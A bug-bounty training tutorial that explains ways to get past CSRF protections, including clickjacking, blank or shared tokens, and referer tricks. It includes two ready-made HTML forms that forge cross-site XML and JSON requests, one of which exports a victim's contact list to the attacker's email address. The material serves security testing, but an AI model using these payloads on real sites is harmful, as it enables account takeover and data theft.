Return to training

Bypassing CSRF protection Shared by @zseano - Updated on 28/09/2018


Cross Site Request Forgery (CSRF) tokens are designed to stop a hidden FORM POST on evil.com from being submitted secretly to hijack your account on example.com. Websites such as Facebook implement this by using something called "fb_dtsg", and the general purpose is you can only do an action (such as update your email) if a valid "fb_dtsg" value is sent with the request. Unless the attacker has XSS, no attacker can get this unique value and spoof a request when you visit their malicious site. In this tutorial i'm going to describe an interesting bypass I found, as well as things you can also try.


The site has a CSRF token.. isn't vulnerable" - think again!

One bounty program had CSRF tokens on all their requests. Literally every action you did a CSRF token was sent with it. The bypass was actually extremely simple and made use of clickjacking.

If for example I was updating the email of my account, and I modify the request to send a blank CSRF value, it would reflect back the changes I wanted to make but with an error: CSRF_token is invalid. Please submit again.. The email hadn't successfuly updated, but it had been reflected back on the page.

Thanks to the lack of X-FRAME-OPTIONS, I was able to submit the request to update email, then iframe the result and clickjack the user to click "submit". Bingo, that users' account is now mine!

You may notice this sounds very familar to challenge 3 on our training. If you haven't already, go ahead and try it!

Other common ways to bypass CSRF tokens

  • Blank CSRF token
  • Extremely simple, just try send a blank CSRF value and see if they validate it server side. Don't forget to also see if the changes you tried to make are reflected back on the page. Combine this with clickjack and you have a potential site wide CSRF issue!

  • Sharing CSRF tokens
  • I've had cases where aslong as the users session is valid, that users CSRF token can be shared upon any other account. Create two accounts and see if you can share csrf tokens between them.

  • Change one character
  • Sometimes a site will only check the length of a CSRF token (silly I know..). Try change one character (so it's the same length) and see what happens. You'd be surprised.

  • Using .swf files
  • @avlidienbrunn made a great report about using .swf files for CSRF: https://hackerone.com/reports/44146
Can you CSRF a JSON&XML payload?

Sure you can! This one might require some playing, since you have to make use of the the "=" character somewhere sometimes. Below is the HTML I use for XML posting:

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>">
         <input type="submit" value="submit"> </form>
     </body>
  </html>
  

And JSON posting (this example is exporting a users contact list on a bounty program)

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'>
         <input type="submit" value="submit"> </form>
     </body>
  </html>
  

Notice how i'm making use of the "=" in the second request in the email parameter? Thanks to the way google mail works, an email sent to [email protected] will actually go to [email protected]

CSRF protection via referer

I've seen sites check the if the Referer is their site, and if yes = allow the request. If no = block the request. An interesting approach to stopping CSRF attacks, but as I blogged about here, we have some tricks up our sleeves to bypass this.

  • https://www.yoursite.com/https://www.theirsite.com/
  • Some sites only check if it CONTAINS their website url, meaning we can just create a file/folder on our site to send the CSRF request from.
  • Send a blank referer
  • Submitting a form (as shown in blog linked above) inside an iframe will actually give you a blank referer. Sometimes this is enough to bypass their protection.

There is probably some things i'm missing, or perhaps you have an interesting concept to bypassing CSRF. If so, feel free to reach out to me and i'll add it onto here. Happy bug finding!